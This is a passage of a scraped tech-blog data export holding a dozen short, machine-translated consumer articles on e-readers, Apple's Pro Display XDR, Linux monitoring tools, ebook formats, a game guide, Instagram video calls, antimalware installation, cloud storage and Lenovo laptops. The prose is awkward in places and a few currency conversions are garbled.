you can find.The device is integrated with an 6-inch e-ink screen, 300ppi resolution, 8GB storage capacity, Wi Fi 802.11 b / g / n connection and can read files EPUB, EPUB3, PDF, MOBI, JPEG, GIF, PNG, BMP, TIFF, TXT, HTML, RTF, CBZ and CBR are easy.Kobo said their engineering team had raised the lighting system by one step, to reproduce the color temperature closer to natural light, using a self-designed warm color LED with a color temperature of 2600K.\nKobo Clara HD has a selling price of about VND 3.7 million.\nsummary In short, here are seven of the best tablets to read e-books and digital content at the best price you can find in the market:\nAmazon Kindle Oasis: The best overall reading tablet. Onyx BOOX Max 2: For books and documents that require large screens. Kobo Aura One: Perfect for magazines, pictures and comics. Amazon Kindle: The reading tablet has the best price. Amazon Fire HD 8: A cheap multipurpose option. iPad Mini 4: Top-class multi-purpose tablet. Kobo Clara HD: The lightest reading tablet. Wish you find yourself a good product!\nSee more:\nShould you buy a Chromebook or tablet? 9 most mini-computers worth buying today Things to know when choosing to buy mainboard Tablet and laptop, which option is right for you? ncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZqyRl7mmwNJmnaiqXaeyorDIp55mnJmctrWty2aZqKebqA%3D%3D\n","link":"/post/7-best-tablets-for-reading-digital-books/","section":"post","tags":null,"title":"7 best tablets for reading digital books"},{"body":"Within the first day of WWDC 2019, Apple officially announced details of the top display model Pro Display XDR, along with the Mac Pro 2019 with a completely new look. About the Mac Pro, we have a brief introduction about this product, please refer here.\nGoing back to the main issue, this new 32-inch LCD monitor will have 6016 x 3384 Retina 6K factory-calibrated panels, with an ultra-thin bezel border design, only 9mm. As the Kitchen's top screen model, of course Pro Display XDR is not cheap: $ 4,999, and a Pro Stand stand will be sold separately for $ 999.\n  Apple officially launched its own operating system for iPad, multitasking features, support for reading files from USB, SD memory cards Going deeper into the hardware configuration details, Pro Display XDR (XDR stands for Extreme Dynamic Range - extremely high dynamic range), possesses P3 and 10-bit color spaces with multiple reference modes. Built-in manufacturer, as well as the exclusive Apple True Tone auto chromatic tuner, exclusively for adjusting ambient light. The light band around Pro's display Display XDR is said to be 40% wider than the predecessor iMK 5K screen, and the product is also equipped with anti-glare coating, as well as an option of surface roughness. The screen is called nanotexture, which not only protects against fingerprints and also provides better heat dissipation efficiency.\nLaunched to \"pair up\" with Mac Pro 2019, so the Pro Display XDR shell will also have a 'cheese piece' design language with dense radiator holes in a stylized pattern. on the back, both ensure aesthetics, be consistent with the Mac Pro, and also support more optimal heat dissipation. According to Apple engineers, this design allows the screen to achieve full brightness at 1,000 nit, and can even reach up to 1,600 nit - bright levels especially useful for tasks. related to professional HDR content editing.\n  Apple introduced iOS 13, supports dark background mode, opens apps twice as fast and many new features Speaking of Pro Stand base for 999 USD, this part can tilt and adjust the screen height extremely flexible. According to Apple, the Pro Stand can be considered as a counterweight arm that makes the screen feel almost weightless in every angle of adjustment, and this smart stand can also help Pro Display XDR rotate. to Portrait Mode - vertical screen, easily and surely, offers much more flexible work than its predecessor as well as competitors in the same segment.\n  In addition, the flexible modular design allows Pro Display XDR to be easily removed from the Pro Stand to move and install to a new location, as well as providing options for users to attach to the set. VESA wall switch. If you don't want to spend a lot of money to buy the Pro Stand, you can choose a softer VESA display base, only 199 USD. However, it should be noted that Apple will not \"donate\" with any stand for Pro Display XDR, so you will definitely have to buy one of the two legs on the stand base to use it.\n  Apple WWDC 2019: Mac Pro, iOS 13, Marzipan and what to expect at the biggest technology event of the year for Apple? For connection options, Pro Display XDR uses a Thunderbolt 3 cable to connect to the Mac Pro, and can support up to 6 screens, with a total of 120 million pixels. In particular, there is a built-in screen exclusively for editors and professional photographers, enabling them to work with HDR images and scenes at a more intensive level - right for the main purpose. Apple released this product.\nPro Display XDR will officially go on sale with the Mac Pro 2019 this fall, both models will work together, forming the top duo 'duo fins', priced at at least 11,300 USD, promised Appointed to become the highest PC PC in the world in 2019.\nApple has long ceased making screens and completely transferred production stages to its LG partner in 2016. Thus, this re-release of Apples in the high-end display market promises to create The changes are very desirable.\n  Apple launched the MacBook Pro upgrade with many notable options WWDC 2019 officially opened on Monday, June 3 with CEO Tim Cook's brief speech and other executives at Apple. The event will take place within 4 days and close on Friday, June 7 here. Please pay attention to follow up.\nncG1vNJzZmismaXArq3KnmWcp51kxLiwwmZpaWlpYq6xvMueZJqmnqTCr6%2FErGSaZaSkvW6CymZqa6GemLVugJhycGacmai9ra3YZqqcqpWauw%3D%3D\n","link":"/post/apple-announces-a-top-6k-32-inch-4-999-display-screen/","section":"post","tags":null,"title":"Apple announces a top, 6K, 32-inch, $ 4,999 display screen"},{"body":"Although Windows is one of the most popular server operating systems, there are also a significant number of Linux users around the world.\nLike Windows, the infrastructure that runs on Linux must also be monitored, which is why today TipsMake.com summarizes the best monitoring tools and software available today.\nHere are some tools that may be helpful for monitoring Linux-based systems. Take a closer look at each of these tools and see what they provide for monitoring Linux systems!\nBest Linux monitoring tools and software in 2019 1. Solarwinds Netflow Traffic Analyzer 2. PRTG Network Monitor 3. Zabbix 4. Nagios Core 5. OpenNMS 1. Solarwinds Netflow Traffic Analyzer Netflow Traffic Analyzer comes from SolarWinds, a company well known for creating leading monitoring tools.\n  Main features\nNetflow Traffic Analyzer comes with a host of features, confirming its popularity and its widespread use. Key features include:\nDetermine which users and applications are consuming the maximum bandwidth. Provides instant notification when usage exceeds bandwidth usage threshold. Lets create separate IP address groups to see traffic the way you want. Have a comprehensive view of the entire network traffic on a single dashboard. Detecting the underlying problem and learning its roots is quite easy, as you can create custom views of the available data. You can drag and drop network performance metrics along a common timeline to quickly identify problems. Provides the option to view the same data in multiple formats and views to get the right viewing angle. Make it possible to view network traffic segmented by the Class of Service method. This tool even allows you to measure the effectiveness of CBQoS policies. Help you set up customized views of your Internet traffic for ISPs to better understand how to balance between different service providers. Provides support for various vendors and technologies such as NBAR2, NetFlow v5, NetFlow v9, sFlow v2, v4, v5, IPFIX, U-Flow, Huawei, Cisco, Extreme Networks, HP, Juniper, Nortel, vSwitch and VMware. Flow navigation module helps create and access personalized network traffic. You can view in-depth network reports with just one click. Take advantage of existing Active Directory user accounts to manage simple and easy login. Integrates well with other products from SolarWinds such as Network Performance Monitor, User Device Tracker and Network Configuration Manager. System requirements\nYou need the following basic system requirements for Netflow Traffic Analyzer:\nCPU - Quad core 3GHz and above Memory - 16GB for flow storage database and 3GB for main Poller Hard drive - 3GB for the main Poller and 20GB for the traffic storage database Operating system - Windows Server 2008 R2 SP1, 2012, 2012 R2 for both the traffic storage database and the main Poller. Database - Share SQL with Network Performance Monitor Download a free 30-day trial of Netflow Traffic Analyzer.\n2. PRTG Network Monitor PRTG Network Monitor from Paessler is a stable, secure and efficient monitoring tool for Linux systems.\n  Main features\nPRTG Network Monitor features include:\nProvides an overview as well as in-depth information about the status and performance of Linux devices. Provide information on all possibilities, help with better planning. Monitor a variety of devices such as NTP, hard drive and memory. You will receive instant notification of bandwidth overload and many other important features. Help easily identify critical weaknesses and imbalances in the Linux network. Has a convenient tracking system to always catch abnormal incidents and to analyze suspicious traffic. Provides a detailed view of data traffic structure on Linux network. Easy to install and quick to get started. Compatible with many mobile devices Control panels and custom applications give you data the way you want. Supports multiple languages ​​such as English, German, Spanish, French, Dutch, Russian, Japanese, Portuguese and Simplified Chinese. The sensor\nThe PRTG operates on a sensor-based system in which each sensor collects a specific type of data that can provide insights into one aspect of the network. Some common sensors used to track Linux are:\nLoad Average - Monitor the system average load via SSH or SNMP. Meminfo sensor - RAM tracking available Diskless sensor - Check the amount of hard disk space available for Linux SNMP flow sensor - Use SNMP to monitor the flow of equipment. WBEM Custom - Perform custom queries through WBEM Price\nPricing depends on the number of sensors you want to license. Break down the cost for each option as follows.\n100 sensors - Free of charge 500 sensors - $ 1,600 (VND 37,040,000) 1000 sensors - $ 2,850 (65,970,000 VND) 2500 sensors - $ 5,950 (VND 137,743,000) 5000 sensors - $ 10,500 (VND 24,076,000) There are also two packages provided by PRTG that support unlimited sensor settings. The first package, called XL1 Unlimited, allows you to install any number of sensors on a main installation and it costs $ 14,500 (VND 335,677,000).\nAnother package called XL5 allows unlimited installation of sensors on five core installations and costs $ 60,000 (VND 1,389,010,000).\nThe above costs include one year of maintenance. To renew, you will need to pay 25% of the value of the original license.\nDownload PRTG Network Monitor.\n3. Zabbix Zabbix is ​​an expandable platform designed to track real-time data, collected from various devices in the network.\n  main feature\nZabbix's features are:\nDetect problems when data comes from many different devices. This means there is no need for a separate module to check for problems. Provides flexibility to specify the options you want. You can also set the severity level. Help analyze root cause and detect abnormalities Predict usage based on past trends and this can help with planning capabilities. Comes with a native web interface, providing an overview of the IT environment. Graphs, network maps and slideshows greatly enhance the visual appeal of the data. The report can be analyzed to the smallest detail and can be in the form you want. Help to adhere to various industry standards. Send messages and announcements by multiple channels. Zabbix tries to fix problems automatically as they happen based on past trends. You can define service level for notifications Message can be customized. Strong encryption is present among all Zabbix modules, for an extra layer of security. Supports multiple authentication methods such as Open LDAP and Active Directory. Open code for security testing. Installation in minutes and very easy to use. Configuration templates help monitor thousands of devices from many different vendors. There are creative templates for popular platforms. Or not, you can also build a custom template. Scan the network periodically to identify devices and add them to the network map. Automatically create trigger elements and graphs. Monitor devices, even behind firewalls and DMZ. Collect data even in case of network failure or problem Allows you to run custom scripts remotely from monitored devices. Zabbix can be managed via API Integrates well with many third party tools Supports multiple operating systems such as Linux, Solaris, BSD, IBM AIX, IBM Power8, HP-UX and MacOS. Price : 100% free.\nDownload Zabbix.\n4. Nagios Core Nagios Core is a warning and monitoring tool on which hundreds of Nagios applications are built. This warning and scheduling platform is written in C language for performance reasons and is designed to run on Linux / Unix systems.\n  main feature\nNagios features include the following.\nMonitor network services such as SMTP, POP3, HTTP, NNTP, PING, etc. Different metrics of server resources such as processor and disk are also monitored by this tool. Comes with a simple plug-in design that allows you to develop your own service testing methods. You can define network host hierarchy by using the parent host. Detect problem hosts and distinguish them from 'healthy' hosts. Support the implementation of preventive supervision tasks. Comes with web interface for viewing the status, performance, and health of various devices. Provide a web-based configuration. Dashboard (Dashboard) can be customized to meet your preferences. Advanced reporting features help create stunning visual reports. Powerful API scripting that allows monitoring of remote and local systems and devices. Provides a centralized view for the entire IT monitoring infrastructure. Help planning capabilities. Provides scheduled downtime warnings during the upgrade process. Provides multiple users access to the web dashboard. Event Listener allows automatic restart of faulty services or applications. Many add-ons have been developed by the development community to expand Nagios Core's functionality. Open source and provide full access to the source code. System requirements\nTo run Nagios Core, you need the following: A system running Linux or Unix. Network access and C compiler should be available. A web server, preferably Apache Thomas Boutell's gd library version 1.6.3 and above Pricing : Open source and therefore free to use.\nDownload Nagios Core.\n5. OpenNMS OpenNMS is an open source network management platform designed to build network monitoring solutions.\nmain feature\nThe following is an overview of the features of OpenNMS:\nIt is built on an event-driven architecture. Service detection stopped working immediately. Measure latency and notify when threshold limit is exceeded. Provides outstanding support for many services with configuration options. Remote monitoring of applications and services. Collect performance metrics from industry standards such as SNMP, WMI and XMP. Collect performance data from applications using custom collectibles such as HTTP and JSON. This tool can be extended to any performance data collection framework. RestAPI makes it easy to integrate OpenNMS into your existing infrastructure. Explore layer 2 network topology. Comes with an interactive service map for easy digging right into the problem. Geographic node maps show the nodes and services that have stopped working in different geographical areas with Google Maps or Open Street Map. Visualization of Grafana-based performance data enhances the visual appeal of information. Price\nOpenNMS has two versions - Meridian and Horizon. While Horizon is free, Meridian comes with an annual subscription.\nTo decide which of these two options is right for you, here's a quick look at the key features of both versions.\nMain features Meridian Horizon For whom ? Enterprise seeking stable platform with long-term support. Enterprises want to monitor new technologies and IT ecosystem. Open source development model Open source License type AGPL v3 or proprietary license AGPL v3 Release cycle every 12 months Support every 3 to 4 months Support Comes with organization support, along with access to OpenNMS connection forums. Wiki and mailing lists (community based email lists). Configurable events Pre-configured events, notifications, data collection, workflows, and reporting. Community-based configuration of Access Maintenance to update the code for the latest bugs and bug fixes. Rely on the community Download OpenNMS.\nAbove is a list of the best Linux monitoring tools and software for you to get started. There is a free and paid version of almost every tool. In addition, many tools also provide you with a 30-day trial, allowing them to be installed and configured quickly, providing tracking capabilities after only a few hours.\nHopefully these monitoring tools will help you monitor your Linux environment. If the article misses any tools, feel free to contribute in the comment section below!\nWish you find yourself the right tool!\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02ajoqalrXquu82iq6iqmaO0bsDOqKNmZZGjsW550qidra%2BRp7I%3D\n","link":"/post/best-linux-monitoring-tool-software/","section":"post","tags":null,"title":"Best Linux monitoring tool \u0026amp; software"},{"body":"Technology is increasingly developing with many useful inventions in life such as smartphones, social networks . This also means that the technology devices with primitive shapes 'old times' have been closely connected with generations. 8x, 9x gradually disappeared.\nLet's take a look at the technology items that once resounded to return to the 'young buffalo' age. You recognize and feel familiar with many things.\nWhen you walk out of the street carrying a CD player this is definitely the richest kid in the 8x!\n  Those who have used this 'ancient' computer mouse certainly cannot forget the feeling of opening the lid to clean the rolling ball inside.\n  Once upon a time, mobile phones didn't have enough room for all the messages. At that time, we had to refrain from filtering each word in the message, deleting it to make enough space.\n  A familiar game code secret sheet with the 9x guys poured forward.\n  When it is too idle and the computer does not have any crazy games, this is a way to entertain many people of the previous generation.\n  About two decades ago, this was a fortune of the boys' union.\n  Before USB was born and popular, the godly props of computer nerds were floppy disks.\n  The old generation Internet protocol with a 'slow crawling' file download speed is no stranger to the 8x generation.\n  No need for cumbersome operations on computers, the previous generation if you want to block someone just . pick up and let it be done.\n  People who like to listen to 'old' music almost have an album of CD storage like this.\n  The scene could not be more familiar to the previous generations when crashes, applications .\n  ncG1vNJzZmismaXArq3KnmWcp51kr7a6wqFkqJ5dpbWwwM6sZKudnZ67pb%2BMqJ1mmZ6Ytqa602arnpuYo7ytu8ayZJplpJ66pnnToZitZWitenrEjKCcp52ilsGqu82sZJyZnqO8tXnFqKmgnaQ%3D\n","link":"/post/bunch-of-photos-reminds-of-ancient-technology-a-time-that-8x-9x-generations-cannot-forget/","section":"post","tags":null,"title":"Bunch of photos reminds of 'ancient technology' a time that 8x, 9x generations cannot forget"},{"body":"The following article will introduce readers to popular eBook (e-book) formats, and offer advantages, disadvantages and reading machines that support them.\n1. EPUB\nWhat is an EPUB file? How to read EPUB file on phone, computer\nEPUB is an open format, free and without an exclusive provider, so it becomes the most popular ebook format in the world.\nEPUB even supports color images, SVG graphics, interactive elements or even videos.\nAlmost all mainstream readers and operating systems support this format except for Amazon Kindle devices (except the Kindle Fire tablet).\n2. MOBI\n  What is MOBI file? How to open a MOBI file?\nMOBI is not open format, does not support audio and video.\nMost reading machines support MOBI format, except Barnes \u0026amp; Noble Nook.\nThis format is also expanded with the PRC standard.\n3. AZW and AZW3\nAZW (2007) and AZW3 (2011) are two Amazon-owned ebook formats, so every eBook purchased or downloaded from Amazon has one of these two formats.\nAZW3 supports more styles, fonts and layouts than AZW. AZW and AZW3 support both video and audio.\nThese two formats are not widely supported on reading machines like EPUB and MOBI. All of Amazon's Kindle products can read this format while Nook \u0026amp; Kobo and other popular devices cannot.\nAndroid, iOS and popular ebook management applications like Caliber, Alfa . can read AWZ.\n4. IBA\nIBA is a popular proprietary book format created from Apple's iBooks Author application.\nIBA is based on custom widget code on Apple Books application, so it cannot be read on the entire reader. This format is only used for books written in iBooks Author.\nIBA supports audio, video and interactive elements.\n5. PDF\n  PDF is a popular format for eBook and is widely used on the web. PDF is an open format and ISO 32000 standard in 2008.\nBut this format is difficult to adjust the display of content according to the size of the screen.\nSummary of PDF tips\nWhich format is best?\n  EPUB is suitable for 'building' a large library of computer books that can support most reading machines.\nMOBI is suitable for creating a major library of books for Kindle.\nAZW does not have many features but many devices can read it.\nSee more:\nWhat is Megapixel? What is open source software? What is the difference between JPG, JPEG, GIF, PNG and SVG image formats? ncG1vNJzZmismaXArq3KnmWcp51krqXCwKermp%2BVqHqiusNmm6KrkZnDorrTmp6eq12ks268zqmspZmiYrKju86kZJ%2BnoqKutb%2BMnqeuml2ivKO1jJqxsGWZl65u\n","link":"/post/epub-mobi-azw-iba/","section":"post","tags":null,"title":"EPUB, MOBI, AZW, IBA, ..."},{"body":"To help you play this position well, there is a little 'Tip' about playing Support in League of Legends: Wild Rift. Please refer!\nRole of Support The primary role of a Support is to help the Defenders develop effectively. That means you will always have to protect the ADC, help them farm stably, avoid being killed and even eat the enemy. You will need to do things like heal, shield the ADC, even take out your body to shield the opponent's attacks.\n  Support has to ward around key areas of the map to detect the enemy jungler's location and roam when possible. Support should actively roam to support teammates other than AD carry. Should choose generals that are able to provide benefits, shields, heal, . or have the ability to shield and control. Support should not farm soldiers. Those are the basic tasks that Support players need to ensure.\nPlay Support in Wild Rift First, Support is meant to help your teammates to make them strong: kill, farm minions, attack enemy Turrets. You will play the role of harassing the opponent such as stabbing blood, controlling or attracting their attention.\n  Since Support champions basically don't have too much health, so you should avoid duel situations. Instead, always become the bridge connecting the whole team. You can move with the jungler, signal when an enemy is out of position in the lane and build small advantages for the whole team like freezing minions, clearing minions when needed.\nPosition in combat Choosing the right position requires an understanding of the type of champion you play. For Tanks (Blitzcrank, Braum, .), you need to always stand in front to threaten the enemy. If you are a threat to them, they will gradually lose their minions, experience and even be left behind by their team's ADC.\nFor enchanted supports, like Sona or Janna, you need to be constantly moving. Never stand too far behind teammates, but also do not stand indiscriminately, because these generals do not have strong defenses. Always with the ADC is also a good option to keep them from getting knocked down and can maximize the damage thrown on the opponent.\n  Moreover, you can move wide on the map to support your teammates when the opportunity arises. In low-skilled matches, the Support is almost exclusively active in one lane. If you learn to move at the right time, you can build massive power for both mid, bot, and even help the jungler control the dragon.\nMap for Support cho The roster for Support isn't too heavy-handed, sometimes it's up to you to choose. You may want to buy items like Burning Incense for Janna and Sona to increase the Attack Speed ​​of allies receiving your shield. There are some items that will benefit teammates, always consider them.\nFurthermore, as Support with limited economic resources, always keep an eye on the price. Never buy overpriced items that don't have much effect on the team, because they will make you build slower than your opponent.\n  Support is not a position that relies too much on Gold, they become useful by helping teammates survive and shine. Vision is Support's number one priority, use tactical vision to judge your opponents, help all your teammates to victory.\nWild Rift Alliance ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddpbmixYysrKmon6fBbrXNZq6ipJRiv6qy02ajnpmXqrI%3D\n","link":"/post/guide-to-play-support-in-wild-rift-league-of-legends/","section":"post","tags":null,"title":"Guide to play Support in Wild Rift League of Legends"},{"body":"Buses on the river are a type of traffic that has appeared in some countries around the world. These types of vehicles that can both run and run on land are often called amphibious, amphibious or amphibious vehicles.\nCurrently in the world there are many types of vehicles that can run underwater such as buses, cars, motorcycles, trucks, military vehicles .\nIn particular, buses on the river can run both on land and underwater to serve tourism widely used in quite a number of countries around the world because of mobility such as Korea, Netherlands, and the United Arab Emirates. Unity . Visitors do not have to change or transfer trains but still can admire the city and the river during a trip.\n  This water-based, moving medium has been invented by Oliver Evans in 1805 in the United States. At that time, they were mainly used in the military field.\nUnlike regular buses, amphibious buses are closed to the lower body. To prevent water from entering the cabin, the wheels and chassis are enclosed. Vehicles can move both in freshwater and saltwater environments. Each car can carry between 46 and 55 passengers.\n  The case is made of 6 - 12mm thick aluminum or 3 - 6mm thick stainless steel, which can stabilize the body when floating. The bottom-close design consists of partitions to prevent buses from sinking. Even if there is a hole inside, the car can still be balanced and float on the water. Each compartment has a water pump or foam insertion pump system.\nThe principle of operating amphibious buses is to use two transmission systems. When on the ground, take energy from the engine to the wheels and act like other normal buses. When entering the water, the propeller or pressure pump mounted below the floor of the vehicle works due to the energy transmission engine.\n  Water buses are considered one of the safest passenger transports in the world. Currently, amphibious buses are cheaper, cost less fuel and have higher speeds, they can reach 140km / h when on land and 15km / h while under water.\nIn 2017, people in Ho Chi Minh City will have the opportunity to take a bus on the Saigon River when the HCMC Department of Transportation launches two river routes to ease the pressure of road traffic jams.\nWhy are you and many other countries in the world driving on the left? Discover the mystery of a car stop in less than 2 seconds at Formula 1 track ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqbWmecGuqmahnmLBqbGMq6CvnaJixLC%2Byg%3D%3D\n","link":"/post/how-does-the-bus-in-the-river-work/","section":"post","tags":null,"title":"How does the bus in the river work?"},{"body":"After adding the Instagram Direct application, IGTV video channel, the manufacturer continues to bring other useful features. Especially in Instagram messaging feature Instagram Direct, users can chat video with personal friends, or with groups of up to 4 people at the same time.\nDuring the call process we can still browse the News Feed, post Story or send messages to anyone through the minimized video call window feature. Users do not need to verify phone numbers to make video calls on Instagram. The following article will guide you how to call video on Instagram.\nHow to call group videos on Facebook Messenger Instructions for making video calls on Zalo 2 steps to make video calls on Facebook Video call guide on Instagram Step 1:\nFirst of all, users need to update Instagram on Android and iOS. Then access your account. At the main interface click on the Direct icon in the top right corner. The interface of accounts that users have recently contacted appear. Click on the available account here or enter the account name in the search bar.\n  Step 2:\nIn the chat interface, click the video icon in the top right corner. Immediately we will be connected with friends on Instagram. In case the user has not allowed Instagram to connect to the microphone or camera, you need to agree.\n  Step 3:\nThe video call interface on Instagram will have basic options such as front and rear camera transfer, turn off the camera or turn off the microphone. Just click on the icons to turn on, or turn off the options.\n  Step 4:\nIf you click on the thumbnail icon in the top left corner of the call interface, the call screen will be collapsed. So we will continue to do other work, without interrupting the video calling process on Instagram.\n  In case the recipient is not online, if online they will receive a notification of the number of video calls missed . Just click the Direct icon above to view video call notifications on Instagram.\n   Step 5:\nIn addition to the updated video calling feature on Instagram, the search function is also updated with topics at the top of the interface to choose from. Topics will be provided based on each person's history and search interests. Click on the topics to see the content.\n  The new Instagram video calling feature supports 4-person group calls, call sound and stable video quality, with no interruption of mid-call. While calling we can still surf information on Instagram as usual.\nSee more:\nInstagram error: \"An Unknown Network Error has Occurred\", this is how to fix it How to permanently delete Instagram account and temporarily disable it How to delete a photo, or multiple photos on Instagram? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRobluwsidnKhlk5a5rXnOp2SipqOprqi%2BwKY%3D\n","link":"/post/how-to-call-video-call-on-instagram/","section":"post","tags":null,"title":"How to call Video Call on Instagram"},{"body":"You don't have an iPhone X, but still want to use an exclusive set of wallpapers on your iOS device. Follow these steps to download iPhone X live wallpaper and install them as lock screen and main screen on iPhone 8, 8 Plus, 7/7 Plus, iPhone 6/6 Plus, .\nOne of the interesting things about iPhone X is the animated wallpaper set. It is in the list of the most sought after animated wallpapers. And many other iPhone users want to use this set of wallpapers on their devices.\nWhen using 3D Touch on the lock screen, these wallpapers will move beautifully. They are compatible with iPhones with stress-sensitive technology. To use iPhone X wallpaper, you need to download them to your device, convert from GIF to Live image and then set it as wallpaper.\nStep 1. First, save the image of the GIF images below and download the application intoLive on the iOS device.\nPhoto 1: https://imgur.com/Vh3cRYl\nPhoto 2: https://imgur.com/yxXCyzo\nPhoto 3: https://imgur.com/ak3Zzcc\nPhoto 4: https://imgur.com/tFUD5n7\nThis is the exclusive video animation on iPhone X:\nStep 2. Open the IntoLive application and then tap Gif at the top.\n  Step 3. Next, select the saved GIF image, then click the Next arrow.\n  Step 4. Touch No Repeat in the menu that appears.\n  Step 5. Once completed, click Save Live Photos .\n  The image will be saved to your photo library, now use it to install iPhone wallpapers.\nOpen the Settings app → Touch Wallpaper . Touch Choose a New Wallpaper → Camera Roll .   Select the wallpaper you just created → select Set → Set Lock Screen or Set Home Screen or Set Both . (Set the lock screen or Home screen or Both)   See more:\nDownload the official iPhone X Reflection ringtone from Apple How to install fish wallpaper for iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmXZrFpLjUrKCvnV2evam7zZ5ksWWRo7aurdOem2avkaG5sa3Pnqlmp55ivLW0xKtkoqiYpLumvw%3D%3D\n","link":"/post/how-to-download-an-exclusive-iphone-x-animated-wallpaper-on-other-iphones/","section":"post","tags":null,"title":"How to download an exclusive iPhone X animated wallpaper on other iPhones"},{"body":"The data in the computer is always at risk of virus or malware attack. Therefore, the need for yourself anti-virus and anti-malware software is essential. However, among hundreds of thousands of software, even if there are floating malware removal programs, the choice will make it difficult for users, especially when new types of malware appear.\nIf you are looking for a professional, sensitive malware removal tool, Zemana AntiMalware is a candidate. The program possesses powerful Malware prevention and removal features. In addition, Zemana AntiMalware regularly updates data to detect the latest malware types today. In this article, we will show you how to install and use Zemana AntiMalware to remove Malware on Windows 10 computers.\nZemana AntiMalware Software kills Malware First, download the free trial version of the Zemana AntiMalware program under the link below:\nDownload Zemana AntiMalware software Step 1: After downloading Zemana AntiMalware to your computer, we proceed to launch the Setup file of the software. Click English English and click OK to proceed with the installation.\n  Step 2: Click Next. Then, check the option I accept the agreement agreeing to the conditions for installing Zemana AntiMalware. Click Next to proceed to the next step.\n  Step 3: If you want to change the program's archive directory, click the Browse button. If not click Next to continue.\n  Zemana AntiMalware doesn't have a lot of options to install so your next task is to click Next and let the program install on your computer. Below is the interface of the program after completing the installation steps. The program will proceed to import the database .\n  Step 4: When the data update process is completed, Zemana AntiMalware will enable the real-time machine protection mode to be enabled and run in the background.\nWe click the Scan button to scan the system and check all the data on the computer, to detect dangerous malware.\n  Step 5: If a dangerous problem is detected, the interface of the program will change from green to red as shown below. Below will be the amount of data on the computer, as well as the amount of danger the program detects.\n  Step 6: When you right click on each threat , or Repair section we will be provided with many different options to conduct processing, such as delete, exclude, . Continue clicking Next to step next.\n  Step 7: The program will handle the hazards listed and have a successful notification when processing all hazards. Click Back to return to the main interface of Zemana AntiMalware.\n  Step 8: If you want to conduct a scan and check a certain data or directory , just drag and drop the folder into the Deep Scan section on the main interface of Zemana AntiMalware.\n  The software also conducts data scanning of folders or files as they are done on the system. When a dangerous problem is detected, the interface will also turn red warning.\n  Step 9: At the main interface of the program, click the gear icon to change some of the optional settings, if the user needs it.\n  Here, you will see 6 optional items for program settings , including General, Scan, Real Time Protection, Exclusions, Check for Update. (Update check) and Advanced (Advanced).\nFor example, in the General section we can change the language of Zemana AntiMalware to Vietnamese in the Language section.\n  Above is how to install and use the basic and professional Zemana AntiMalware anti-malware program. In general, Zemana AntiMalware works well, without affecting other antivirus programs or Windows systems. Besides, the program will constantly update data to detect completely new types of malware, so don't ignore Zemana AntiMalware.\nRefer to the following articles: 9 most effective antivirus software for Windows today How to use Malwarebytes Anti-Malware Home to find, remove spyware, ads, malicious . on your computer Summary of the most frightening \"virus worms\" on computer systems I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOZobluucClrpqqlWLEqsDHZpyfnpWYwarCxGaxnqWRo65urc2toKaZnKyus7GMrKafrKeWv6Y%3D\n","link":"/post/how-to-kill-malware-with-effective-zemana-antimalware-software/","section":"post","tags":null,"title":"How to kill Malware with effective Zemana AntiMalware software"},{"body":"Instead of storing documents on computer memory, users will choose other storage methods, such as using USB storage devices, portable hard drives or using cloud storage applications such as Google Drive, Dropbox, . File Ark is a new data storage tool, to increase storage for computers.\nFile Ark's feature is similar to other storage tools, which also support users to upload or download data right on the computer. The use of File Ark is also very simple, there are not too many settings settings. The following article will show you how to install the Ark File tool on your computer.\nThe best cloud storage application for Android How to store images and videos in the cloud pCloud Drive - New online storage application MultCloud: A comprehensive cloud management solution Instructions for storing data on the Ark File Step 1:\nUsers access the link below to download the Ark File for Windows or the Mac depending on the device being used.\nhttps://fileark.launchaco.com/   \nStep 2:\nAfter downloading the file, users click on the file to install. Ark file installed very quickly without many steps. At the interface of the tool click Get Started to register your account.\n  Step 3:\nEnter your email address and password to create an account on the Ark File.\n  Next, the user needs to access the email address to register for the account to confirm . Click on the blue link to confirm your account.\n  Step 4:\nIn the main interface of the software is divided into 3 different categories including Home, Settings and Pricing.\n  Step 5:\nIn the Home section, drag and drop the data you want to store into this interface. At this time, the confirmation confirmation window will appear (Upload Confirmation Alert), click Upload to confirm. If you don't want to see this message again when posting data, choose Do not show upload confirmation alert again.\n  The process of uploading data to the Ark File memory will take place the following day and will be indicated by the upload% bar below.\n  Step 6:\nWhen the download process is completed, we receive a notification whether we want to delete the original file on the computer. Click Delete to agree to delete or Cancel. If you do not want to see this message every time you finish uploading, click on Do not show delete local files alert again.\n  All uploaded files will be displayed as shown below. Files are sorted by size and upload date. In the External Actions column, clicking on the 3 dots icon will have the option to download (Download) and delete the file (Delete). When downloaded, the file is saved in the Downloads folder of the computer.\n  Step 7:\nAt the Settings section, users will see settings such as changing the location of the downloaded file (Download Location), toggling the confirmation message before and after uploading (Alert Settings), logging out (Log out). To change the archive, click the Change folder button.\n  For Pricing, there will be different account upgrade levels with additional storage levels if the user needs it.\n  With the Free account when clicking the Manage button, you will see some additional information about the account as well as the current storage status of the software.\n  File Ark is very simple to use and the storage interface, file management on the software also arranges objectively with 3 main items. After saving the file on the Ark File, we can delete the original file to increase the storage capacity on the computer. If you want to reload, even in each file stored on File Ark, there is an option to download it to your computer.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukpL%2BmecOaq5pln6N6tbTEZpiro12btq2x\n","link":"/post/how-to-store-data-on-the-ark-file/","section":"post","tags":null,"title":"How to store data on the Ark File"},{"body":"Lenovo \u0026nbsp;has introduced two new\u0026nbsp; \u0026nbsp;Lenovo Yoga Slim 7 Pro and Yoga Slim 7 Carbon laptops equipped with AMD processors. Lenovo Yoga Slim 7 Pro is a powerful configuration laptop and Yoga Slim 7 Carbon is the lightest 14-inch OLED laptop in the world.\nLenovo Yoga Slim 7 Pro Lenovo Yoga Slim 7 Pro has a 16-inch 2.5K touch screen, 100% sRGB color standard, 120 Hz refresh rate support and Dolby Vision HDR technology.\n In terms of configuration, Yoga Slim 7 Pro is equipped with up to AMD Ryzen 7 5800H processor, along with optional discrete graphics card NVIDIA GeForce RTX 3050 and integrated card AMD Radeon Graphics.\u0026nbsp;\nThe laptop is equipped by Lenovo with up to 16 GB of RAM, up to 1 TB of internal memory SSD PCle M2. The device has a 75 WHr battery 